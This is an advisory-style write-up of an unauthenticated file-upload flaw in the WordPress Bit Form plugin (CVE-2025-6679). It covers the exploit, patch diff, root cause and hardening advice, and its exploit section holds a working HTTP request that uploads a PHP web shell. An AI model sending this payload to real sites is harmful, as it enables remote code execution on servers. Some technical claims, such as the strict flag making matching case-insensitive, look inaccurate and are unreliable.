The Exploit
An unauthenticated attacker with access to a published Bit Form containing an advanced file upload element can bypass file type validation and upload arbitrary files (including PHP) to the server by omitting or spoofing the MIME type in the upload request.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: multipart/form-data; boundary=----Boundary123
------Boundary123
Content-Disposition: form-data; name="action"
bitform_form_submit
------Boundary123
Content-Disposition: form-data; name="form_id"
1
------Boundary123
Content-Disposition: form-data; name="file_field_name"; filename="shell.php"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
------Boundary123--
The server returns HTTP 200 with a success message and writes the .php file to the uploads directory. The attacker then navigates to the uploaded file URL and achieves remote code execution.
What the Patch Did
Before
$fileExtension = pathinfo($fileName, PATHINFO_EXTENSION);
$fileExtAllowedByWp = wp_check_filetype_and_ext($file['tmp_name'], $fileName);
$isAllowedFileType = in_array('.' . $fileExtension, $allowTypes);
if ('advanced-file-up' === $fieldType && !empty($allowTypes)) {
if (function_exists('mime_content_type')) {
$fileMimeType = mime_content_type($file['tmp_name']);
} else {
$fileMimeType = $fileExtAllowedByWp['type'];
}
$isAllowedFileType = in_array($fileMimeType, $allowTypes);
}
if ((!empty($allowTypes) && !$isAllowedFileType) || (empty($allowTypes) && empty($fileExtAllowedByWp['ext']))) {
return [
'message' => __(($fileExtension ? ".{$fileExtension}" : 'empty') . ' file extension is not allowed', 'bit-form'),
'error_type'=> 'file_type_error',
];
}
After
// 0) Basic sanity & transport integrity
if (!is_array($file) || empty($file['tmp_name'])) {
return null;
}
if (!isset($file['error']) || UPLOAD_ERR_OK !== $file['error']) {
return ['message' => __('Upload failed', 'bit-form'), 'error_type' => 'file_upload_error'];
}
if (!is_uploaded_file($file['tmp_name'])) {
return ['message' => __('Untrusted upload source', 'bit-form'), 'error_type' => 'file_upload_error'];
}
if (!is_file($file['tmp_name']) || !is_readable($file['tmp_name'])) {
return ['message' => __('Temporary file not accessible', 'bit-form'), 'error_type' => 'file_upload_error'];
}
$fileName = sanitize_file_name((string)($file['name'] ?? ''));
if ('' === $fileName) {
return ['message' => __('Empty filename', 'bit-form'), 'error_type' => 'file_type_error'];
}
// Strict whitelist enforcement on declared allowTypes
if (!empty($allowTypes)) {
$fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
if ('' === $fileExtension || !in_array('.' . $fileExtension, $allowTypes, true)) {
return ['message' => __('File extension not in allowlist', 'bit-form'), 'error_type' => 'file_type_error'];
}
}
The patch added is_uploaded_file() verification—a PHP built-in that confirms the temporary file was placed there by PHP's upload mechanism, not crafted by an attacker or pulled from the filesystem. It also added strict whitelist enforcement using in_array(..., $allowTypes, true) with the strict flag, ensuring extension matching is exact and case-insensitive. The old code relied on extracting MIME types from client headers or from unreliable server functions, then doing loose comparisons that permitted bypasses.
Root Cause
CWE-434: Unrestricted Upload of File with Dangerous Type
The vulnerability lies in the absence of is_uploaded_file() validation in the original FileHandler code. When an attacker submits a multipart POST request to the bitform_form_submit AJAX endpoint, the $file['tmp_name'] parameter—nominally a path to PHP's temporary upload directory—is processed without verifying it originated from the PHP upload mechanism. In the old code, mime_content_type() was called on this unverified path, or the MIME type was extracted from wp_check_filetype_and_ext(), both of which are trivial to spoof. An attacker can submit a filename ending in .php with a Content-Type: application/octet-stream header, and because the whitelist check (in_array($fileMimeType, $allowTypes)) compared the client-supplied MIME type rather than enforcing a strict extension whitelist, the validation passed. The file was then moved to the uploads directory with executable permissions intact.
Why It Works
The load-bearing line is if (!is_uploaded_file($file['tmp_name'])). Without it, an attacker can craft a multipart request with any filename and any declared MIME type, and the old code's MIME checks will pass because they inspect either the filename extension (which the attacker controls) or a MIME type gleaned from unreliable server functions. The secondary strengthening—strict extension whitelisting with in_array(..., $allowTypes, true)—ensures that even if an attacker tricks the server into believing the file is image/jpeg, the extension must still match the allowlist. The patch also added is_file(), is_readable(), and explicit UPLOAD_ERR_OK checks to create a defense-in-depth perimeter: even if one layer fails, the next layer catches the attack. Critically, is_uploaded_file() is the only layer that cannot be spoofed, because it checks PHP's internal upload registry—a trust boundary that cannot be crossed from userland.
Hardening Checklist
- Always call
is_uploaded_file()before processing$_FILESentries. This is the only reliable way to verify a temporary file originated from PHP's upload handler, not from an attacker or a compromised filesystem. - Use strict extension whitelisting with
in_array($ext, $allowlist, true). Never rely on MIME type headers ormime_content_type(), as both are attacker-controllable. Declare a whitelist of allowed extensions and enforce it case-insensitively. - Validate
$_FILES['error']againstUPLOAD_ERR_OKbefore reading any file data. This catches truncation, disk-space, and permissions errors at the upload layer. - Use
wp_check_filetype_and_ext()only for output validation, not as a decision gate for acceptance. Its return value should inform logging, not bypass checks. - Consider storing uploaded files outside the web root or in a directory with disabled script execution (via
.htaccessorweb.config), so that even a successfully uploaded.phpfile cannot be executed by a direct request.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-6679